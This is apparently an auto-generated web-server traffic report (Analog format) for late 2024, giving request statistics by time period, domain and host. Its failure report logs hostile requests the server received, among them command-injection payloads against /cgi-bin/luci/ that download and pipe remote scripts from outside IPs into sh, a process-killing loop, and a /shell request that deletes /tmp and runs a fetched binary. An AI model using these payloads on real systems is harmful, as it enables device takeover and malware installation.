Program started at Sat-21-Dec-2024 00:19.
Analysed requests from Sun-22-Sep-2024 00:00 to Fri-20-Dec-2024 23:50 (89.99 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 21-Dec-2024 00:19.
Successful requests: 6,435 (455)
Average successful requests per day: 71 (64)
Successful requests for pages: 6,431 (455)
Average successful requests for pages per day: 71 (64)
Failed requests: 3,227 (249)
Redirected requests: 10,383 (863)
Distinct files requested: 15 (7)
Distinct hosts served: 1,992 (166)
Corrupt logfile lines: 1,005
Unwanted logfile entries: 424,284
Data transferred: 6.19 megabytes (448.53 kilobytes)
Average data transferred per day: 70.48 kilobytes (64.08 kilobytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 60 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Sep 2024 | 653 | 653 | |
Oct 2024 | 2226 | 2223 | |
Nov 2024 | 2136 | 2135 | |
Dec 2024 | 1420 | 1420 |
Busiest month: Oct 2024 (2,223 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 15 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
22/Sep/24 | 510 | 510 | |
29/Sep/24 | 509 | 508 | |
6/Oct/24 | 491 | 490 | |
13/Oct/24 | 454 | 453 | |
20/Oct/24 | 543 | 543 | |
27/Oct/24 | 541 | 541 | |
3/Nov/24 | 461 | 461 | |
10/Nov/24 | 547 | 547 | |
17/Nov/24 | 490 | 489 | |
24/Nov/24 | 469 | 469 | |
1/Dec/24 | 527 | 527 | |
8/Dec/24 | 492 | 492 | |
15/Dec/24 | 401 | 401 |
Busiest week: week beginning 10/Nov/24 (547 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 3 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
9/Nov/24 | 55 | 55 | |
10/Nov/24 | 74 | 74 | |
11/Nov/24 | 75 | 75 | |
12/Nov/24 | 86 | 86 | |
13/Nov/24 | 100 | 100 | |
14/Nov/24 | 88 | 88 | |
15/Nov/24 | 66 | 66 | |
16/Nov/24 | 58 | 58 | |
17/Nov/24 | 65 | 65 | |
18/Nov/24 | 51 | 51 | |
19/Nov/24 | 72 | 72 | |
20/Nov/24 | 93 | 93 | |
21/Nov/24 | 78 | 78 | |
22/Nov/24 | 65 | 64 | |
23/Nov/24 | 66 | 66 | |
24/Nov/24 | 64 | 64 | |
25/Nov/24 | 83 | 83 | |
26/Nov/24 | 71 | 71 | |
27/Nov/24 | 66 | 66 | |
28/Nov/24 | 51 | 51 | |
29/Nov/24 | 78 | 78 | |
30/Nov/24 | 56 | 56 | |
1/Dec/24 | 61 | 61 | |
2/Dec/24 | 70 | 70 | |
3/Dec/24 | 58 | 58 | |
4/Dec/24 | 85 | 85 | |
5/Dec/24 | 83 | 83 | |
6/Dec/24 | 84 | 84 | |
7/Dec/24 | 86 | 86 | |
8/Dec/24 | 67 | 67 | |
9/Dec/24 | 94 | 94 | |
10/Dec/24 | 63 | 63 | |
11/Dec/24 | 72 | 72 | |
12/Dec/24 | 70 | 70 | |
13/Dec/24 | 71 | 71 | |
14/Dec/24 | 55 | 55 | |
15/Dec/24 | 48 | 48 | |
16/Dec/24 | 66 | 66 | |
17/Dec/24 | 75 | 75 | |
18/Dec/24 | 83 | 83 | |
19/Dec/24 | 69 | 69 | |
20/Dec/24 | 60 | 60 |
Busiest day: 6/Oct/24 (101 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 25 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 935 | 935 | |
Mon | 945 | 945 | |
Tue | 915 | 915 | |
Wed | 988 | 988 | |
Thu | 980 | 978 | |
Fri | 870 | 868 | |
Sat | 802 | 802 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 8 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 306 | 305 | |
1 | 282 | 282 | |
2 | 297 | 297 | |
3 | 228 | 228 | |
4 | 289 | 289 | |
5 | 252 | 252 | |
6 | 258 | 258 | |
7 | 276 | 275 | |
8 | 252 | 252 | |
9 | 251 | 251 | |
10 | 271 | 271 | |
11 | 217 | 216 | |
12 | 275 | 275 | |
13 | 238 | 238 | |
14 | 248 | 248 | |
15 | 269 | 269 | |
16 | 274 | 274 | |
17 | 275 | 275 | |
18 | 311 | 311 | |
19 | 265 | 265 | |
20 | 259 | 259 | |
21 | 298 | 298 | |
22 | 263 | 263 | |
23 | 281 | 280 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
3357 | 52.42% | [unresolved numerical addresses] |
1544 | 23.83% | .com (Commercial) |
888 | 13.87% | .net (Networks) |
183 | 2.77% | .org (Non Profit Making Organisations) |
104 | 1.52% | [unknown domain] |
74 | 1.20% | .uk (United Kingdom) |
52 | 0.76% | .us (United States) |
46 | 0.72% | .tw (Taiwan) |
33 | 0.51% | .io (British Indian Ocean Territory) |
25 | 0.39% | .it (Italy) |
13 | 0.20% | .jp (Japan) |
12 | 0.19% | .sg (Singapore) |
12 | 0.19% | .de (Germany) |
9 | 0.14% | .th (Thailand) |
8 | 0.12% | .cn (China) |
7 | 0.11% | .br (Brazil) |
6 | 0.09% | .au (Australia) |
5 | 0.08% | .pl (Poland) |
5 | 0.08% | .ru (Russia) |
5 | 0.08% | .in (India) |
3 | 0.05% | .mx (Mexico) |
3 | 0.05% | .nz (New Zealand) |
3 | 0.05% | .ca (Canada) |
3 | 0.05% | .ua (Ukraine) |
2 | 0.03% | .co (Colombia) |
2 | 0.03% | .ch (Switzerland) |
2 | 0.03% | [domain not given] |
2 | 0.03% | .es (Spain) |
2 | 0.03% | .ug (Uganda) |
2 | 0.03% | .arpa (Arpanet) |
2 | 0.03% | .cz (Czech Republic) |
2 | 0.03% | .il (Israel) |
2 | 0.03% | .bg (Bulgaria) |
2 | 0.03% | .edu (USA Higher Education) |
1 | 0.02% | .sh (Saint Helena) |
1 | 0.02% | .fr (France) |
1 | 0.02% | .np (Nepal) |
1 | 0.02% | .lb (Lebanon) |
1 | 0.02% | .hu (Hungary) |
1 | 0.02% | .tt (Trinidad and Tobago) |
1 | 0.02% | .ro (Romania) |
1 | 0.02% | .se (Sweden) |
1 | 0.02% | .gr (Greece) |
1 | 0.02% | .sk (Slovakia) |
1 | 0.02% | .do (Dominican Republic) |
1 | 0.02% | .ec (Ecuador) |
1 | 0.02% | .id (Indonesia) |
1 | 0.02% | .ar (Argentina) |
1 | 0.02% | .ir (Iran) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
767 | 12.31% | 95 |
542 | 8.33% | 185.191 |
466 | 7.30% | hinet.net |
364 | 5.68% | privatelayer.com |
263 | 4.05% | 149.50 |
220 | 3.43% | serveroffer.net |
217 | 3.40% | group-ib.com |
208 | 3.13% | googleusercontent.com |
135 | 2.08% | 185.224 |
129 | 2.02% | 5 |
115 | 1.87% | showfreevids.com |
104 | 1.60% | criminalip.com |
104 | 1.52% | [unknown domain] |
100 | 1.54% | 167.94 |
91 | 1.48% | 178.211 |
90 | 1.41% | 46 |
89 | 1.37% | censys-scanner.com |
89 | 1.33% | linodeusercontent.com |
86 | 1.31% | 154.213 |
84 | 1.29% | shadowserver.org |
2172 | 33.59% | [not listed: 421 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
118 | 1.85% | 5.8.11.202 |
16 | 0.25% | 46.174.191.28 |
13 | 0.20% | 46.174.191.30 |
17 | 0.27% | 46.174.191.31 |
22 | 0.34% | 46.174.191.32 |
15 | 0.23% | 80.66.77.235 |
78 | 1.22% | 80.94.93.191 |
35 | 0.55% | 83.97.73.245 |
53 | 0.83% | 92.255.57.58 |
19 | 0.31% | 94.141.120.37 |
94 | 1.53% | 95.214.53.91 |
19 | 0.29% | 95.214.53.202 |
205 | 3.21% | 95.214.53.205 |
186 | 3.02% | 95.214.55.43 |
168 | 2.73% | 95.214.55.79 |
81 | 1.31% | 95.214.55.138 |
23 | 0.37% | 141.98.11.15 |
246 | 3.78% | 149.50.103.48 |
17 | 0.27% | 149.50.106.25 |
34 | 0.52% | 154.213.184.43 |
41 | 0.67% | 154.213.191.23 |
20 | 0.31% | 164.52.24.188 |
88 | 1.43% | 178.211.139.188 |
261 | 4.01% | 185.191.126.213 |
281 | 4.32% | 185.191.126.248 |
135 | 2.08% | 185.224.128.47 |
35 | 0.55% | 194.50.16.198 |
14 | 0.22% | scanner-07.ch1.censys-scanner.com |
18 | 0.28% | scanner-27.ch1.censys-scanner.com |
18 | 0.28% | scanner-205.hk2.censys-scanner.com |
104 | 1.60% | security.criminalip.com |
217 | 3.40% | rnd.group-ib.com |
43 | 0.67% | eletrire.halffail.com |
49 | 0.75% | server-0-2.survey.inspici.com |
36 | 0.53% | 139-144-52-241.ip.linodeusercontent.com |
24 | 0.35% | 172-104-4-17.ip.linodeusercontent.com |
364 | 5.68% | hostedby.privatelayer.com |
16 | 0.26% | movie.showfreevids.com |
14 | 0.23% | tv.showfreevids.com |
22 | 0.36% | tvseries.showfreevids.com |
17 | 0.28% | watch-pacquiao-vs-mosley.showfreevids.com |
17 | 0.28% | www.showfreevids.com |
15 | 0.23% | undefined.hostname.localhost |
26 | 0.40% | unused-space.coop.net |
70 | 1.08% | srv-141-98-11-155.serveroffer.net |
29 | 0.47% | srv-141-98-11-178.serveroffer.net |
94 | 1.45% | srv-141-98-11-35.serveroffer.net |
17 | 0.27% | internettl.org |
19 | 0.29% | hostglobal.plus |
61 | 0.99% | play25.chelseafanclub.co.uk |
2811 | 43.25% | [not listed: 1,942 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
3 | [not listed: 3 URLs] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
6429 | 99.96% | [root directory] |
2 | 0.02% | http:// |
4 | 0.02% | /icons/ |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
851 | /x16/x03/x01 |
774 | /cgi-bin/luci/ |
79 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
76 | /cgi-bin/luci/?form=country&operation=write&country=id>`wget+http://185.157.247.125/e/t+-O-+|sh%3B` |
76 | /cgi-bin/luci/?form=country&operation=write&country=id>`for+pid+in+/proc/[0-9]*/%3B+do+pid%3D${pid%25/}%3B+pid%3D${pid##*/}%3B+exe_path%3D$(ls+-l+/proc/$pid/exe+2>/dev/null+|+awk+'{print+$NF}')%3B+if+[[+$exe_path+%3D%3D+*/+]]%3B+then+kill+-9+$pid%3B+fi%3B+done%3B` |
64 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.31/t|sh%3B`) |
20 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.99/t|sh%3B`) |
13 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://45.202.35.24/l+-O-|+sh`) |
333 | /x16/x03/x02/x01o/x01 |
185 | /x03 |
139 | * |
138 | /bin/sh |
100 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
97 | / |
63 | /x16/x03/x01/x05/xa8/x01 |
55 | MGLNDD_66.39.90.166_80/n |
52 | /cgi-bin/index.cgi |
48 | /cgi-bin/ |
36 | /x16/x03/x01/x02 |
22 | /shell |
18 | /shell?cd+/tmp;rm+-rf+*;wget+ 129.159.107.197/jaws;sh+/tmp/jaws |
20 | /cgi-bin/authLogin.cgi |
18 | /cgi-bin/hotspotlogin.cgi |
17 | HTTP/1.0 |
17 | /x16/x03/x03/x01/xa5/x01 |
17 | google.com:443 |
16 | /HNAP1/ |
16 | /x16/x03/x01/x01$/x01 |
13 | Gh0st/xad |
13 | /cgi-bin/main-cgi |
11 | www.baidu.com:443 |
11 | /x16/x03/x01/x01/x17/x01 |
11 | /cgi-bin/info.cgi |
10 | 12.1.2/n |
9 | /etc/hosts |
8 | /x16/x03/x01/x01/xaa/x01 |
7 | /x16/x03/x01/x01/xfb/x01 |
102 | [not listed: 46 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
6429 | 99.96% | 20/Dec/24 23:47 | / |
88 | 1.38% | 20/Dec/24 01:48 | /?XDEBUG_SESSION_START=phpstorm |
11 | 0.17% | 18/Dec/24 17:05 | /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 |
11 | 0.17% | 18/Dec/24 17:05 | /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 |
10 | 0.15% | 14/Dec/24 21:14 | /?phpinfo=-1 |
6 | 0.04% | 14/Dec/24 13:19 | [not listed: 3 files] |